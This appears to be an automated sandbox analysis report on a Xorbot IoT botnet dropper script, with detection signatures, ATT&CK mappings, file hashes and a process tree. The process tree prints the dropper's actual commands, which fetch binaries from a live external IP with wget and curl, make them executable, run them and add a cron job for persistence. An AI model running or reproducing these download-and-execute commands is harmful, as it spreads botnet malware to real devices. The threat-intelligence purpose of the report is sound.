xorbot | 6be9b943dcfdfa48fd7d9d38cfad2decda4eaad06b64f9602a37da7aa78aef13

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
03-12-2024 11:05

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General

Target

bins.sh
Size

10KB
MD5

bfffb3d2e49097085b53b3afde692a37
SHA1

db34a62b3c3e16ac310e1318e02b252a484e5cee
SHA256

6be9b943dcfdfa48fd7d9d38cfad2decda4eaad06b64f9602a37da7aa78aef13
SHA512

81c880c24a598a9c8424aed4497f3bcb2998143b4ab5033f3a10c07ff147123e7c75b4c02630a2a8998400ac7106889750115a30eb84759ddd9da4f0131a8004
SSDEEP

192:5yXQoVEw8wYwOw5wZwnhnzqIw8wYwOw5wZwH9x:5yX9Bb/diCnhnzCb/diCHr

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 7 IoCs

botnet trojan

resource	yara_rule
behavioral3/files/fstream-1.dat	family_xorbot
behavioral3/files/fstream-3.dat	family_xorbot
behavioral3/files/fstream-5.dat	family_xorbot
behavioral3/files/fstream-9.dat	family_xorbot
behavioral3/files/fstream-11.dat	family_xorbot
behavioral3/files/fstream-13.dat	family_xorbot
behavioral3/files/fstream-20.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1147) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 9 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
844	chmod
862	chmod
735	chmod
742	chmod
818	chmod
956	chmod
757	chmod
791	chmod
811	chmod

Executes dropped EXE 9 IoCs

ioc	pid	Process
/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4	736	JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel	743	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
/tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5	761	N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
/tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh	792	UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
/tmp/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT	812	DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
/tmp/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM	819	pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
/tmp/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg	846	tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
/tmp/BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD	863	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
/tmp/sKJRn0lUczTplk3mev4alhdApcUHS8PJoN	957	sKJRn0lUczTplk3mev4alhdApcUHS8PJoN

Renames itself 1 IoCs

pid	Process
864	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.jqBIyh	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/112/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/943/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/1008/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/701/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/941/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/946/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/961/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/1024/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/890/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/958/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/466/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/887/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/904/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/906/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/1012/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/142/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/2/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/68/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/907/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/910/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/945/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/1002/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/1010/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/10/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/113/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/913/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/980/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/8/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/988/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/990/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/1021/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/976/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/7/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/83/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/924/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/940/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/960/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/994/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/1009/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/20/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/900/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/950/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/873/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/874/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/937/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/3/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/4/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/13/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/952/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/953/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/18/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/76/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/319/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/876/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/934/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/19/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/24/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/870/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/908/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/971/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
File opened for reading	/proc/1022/cmdline	BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
739	wget
743	nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
745	rm
797	wget
810	busybox
812	DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
814	rm
740	curl
741	busybox
807	curl

Writes file to tmp directory 25 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh	busybox
File opened for modification	/tmp/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT	wget
File opened for modification	/tmp/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM	busybox
File opened for modification	/tmp/BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD	busybox
File opened for modification	/tmp/sKJRn0lUczTplk3mev4alhdApcUHS8PJoN	busybox
File opened for modification	/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel	wget
File opened for modification	/tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5	curl
File opened for modification	/tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5	busybox
File opened for modification	/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel	curl
File opened for modification	/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel	busybox
File opened for modification	/tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh	wget
File opened for modification	/tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh	curl
File opened for modification	/tmp/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT	curl
File opened for modification	/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4	wget
File opened for modification	/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4	curl
File opened for modification	/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4	busybox
File opened for modification	/tmp/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg	wget
File opened for modification	/tmp/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg	curl
File opened for modification	/tmp/BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD	curl
File opened for modification	/tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5	wget
File opened for modification	/tmp/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM	wget
File opened for modification	/tmp/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg	busybox
File opened for modification	/tmp/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT	busybox
File opened for modification	/tmp/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM	curl
File opened for modification	/tmp/BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:704
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:708
- /usr/bin/wget
  wget http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - Writes file to tmp directory
  PID:712
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 777 JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - File and Directory Permissions Modification
  PID:735
- /tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  ./JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  - Executes dropped EXE
  PID:736
- /bin/rm
  rm JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
  2⤵
  PID:738
- /usr/bin/wget
  wget http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:739
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod 777 nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  ./nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:743
- /bin/rm
  rm nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
  2⤵
  - System Network Configuration Discovery
  PID:745
- /usr/bin/wget
  wget http://216.126.231.240/bins/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  2⤵
  - Writes file to tmp directory
  PID:746
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  2⤵
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  2⤵
  - Writes file to tmp directory
  PID:752
- /bin/chmod
  chmod 777 N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  ./N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  2⤵
  - Executes dropped EXE
  PID:761
- /bin/rm
  rm N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
  2⤵
  PID:764
- /usr/bin/wget
  wget http://216.126.231.240/bins/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  2⤵
  - Writes file to tmp directory
  PID:765
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:774
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  2⤵
  - Writes file to tmp directory
  PID:786
- /bin/chmod
  chmod 777 UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  ./UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  2⤵
  - Executes dropped EXE
  PID:792
- /bin/rm
  rm UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
  2⤵
  PID:795
- /usr/bin/wget
  wget http://216.126.231.240/bins/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:797
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:810
- /bin/chmod
  chmod 777 DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
  ./DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:812
- /bin/rm
  rm DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
  2⤵
  - System Network Configuration Discovery
  PID:814
- /usr/bin/wget
  wget http://216.126.231.240/bins/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
  2⤵
  - Writes file to tmp directory
  PID:815
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
  2⤵
  - Writes file to tmp directory
  PID:817
- /bin/chmod
  chmod 777 pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
  ./pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
  2⤵
  - Executes dropped EXE
  PID:819
- /bin/rm
  rm pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
  2⤵
  PID:821
- /usr/bin/wget
  wget http://216.126.231.240/bins/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
  2⤵
  - Writes file to tmp directory
  PID:822
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
  2⤵
  - Writes file to tmp directory
  PID:840
- /bin/chmod
  chmod 777 tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
  ./tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
  2⤵
  - Executes dropped EXE
  PID:846
- /bin/rm
  rm tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
  2⤵
  PID:848
- /usr/bin/wget
  wget http://216.126.231.240/bins/BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
  2⤵
  - Writes file to tmp directory
  PID:850
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
  2⤵
  - Writes file to tmp directory
  PID:856
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
  2⤵
  - Writes file to tmp directory
  PID:861
- /bin/chmod
  chmod 777 BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
  ./BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:863
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:865
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:866
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:867
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:868
- /bin/rm
  rm BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
  2⤵
  PID:870
- /usr/bin/wget
  wget http://216.126.231.240/bins/sKJRn0lUczTplk3mev4alhdApcUHS8PJoN
  2⤵
  PID:873
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sKJRn0lUczTplk3mev4alhdApcUHS8PJoN
  2⤵
  PID:874
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sKJRn0lUczTplk3mev4alhdApcUHS8PJoN
  2⤵
  - Writes file to tmp directory
  PID:955
- /bin/chmod
  chmod 777 sKJRn0lUczTplk3mev4alhdApcUHS8PJoN
  2⤵
  - File and Directory Permissions Modification
  PID:956
- /tmp/sKJRn0lUczTplk3mev4alhdApcUHS8PJoN
  ./sKJRn0lUczTplk3mev4alhdApcUHS8PJoN
  2⤵
  - Executes dropped EXE
  PID:957
- /bin/rm
  rm sKJRn0lUczTplk3mev4alhdApcUHS8PJoN
  2⤵
  PID:959
- /usr/bin/wget
  wget http://216.126.231.240/bins/KpFcAQUkd4lT2bWtS18RL6YT5eUVNSgeub
  2⤵
  PID:960
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KpFcAQUkd4lT2bWtS18RL6YT5eUVNSgeub
  2⤵
  PID:961

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/sKJRn0lUczTplk3mev4alhdApcUHS8PJoN

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/var/spool/cron/crontabs/tmp.jqBIyh

Filesize
210B

MD5
8bf87005d3a203b9953c6d1111d93848

SHA1
f79a81108c973b6c0704458241530412a66fafd6

SHA256
8c35206174b05876320870aafeddded078b401dcd554b2d2ab528bde6ab8767f

SHA512
86012f34dd41f1fd70707135872817a3e94c9f5e66e767a31be34f4c639973bc06f85a03fcfaa331eb1c67aa05250a97cd91b234a0c9e623e4cb580838c185ba

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads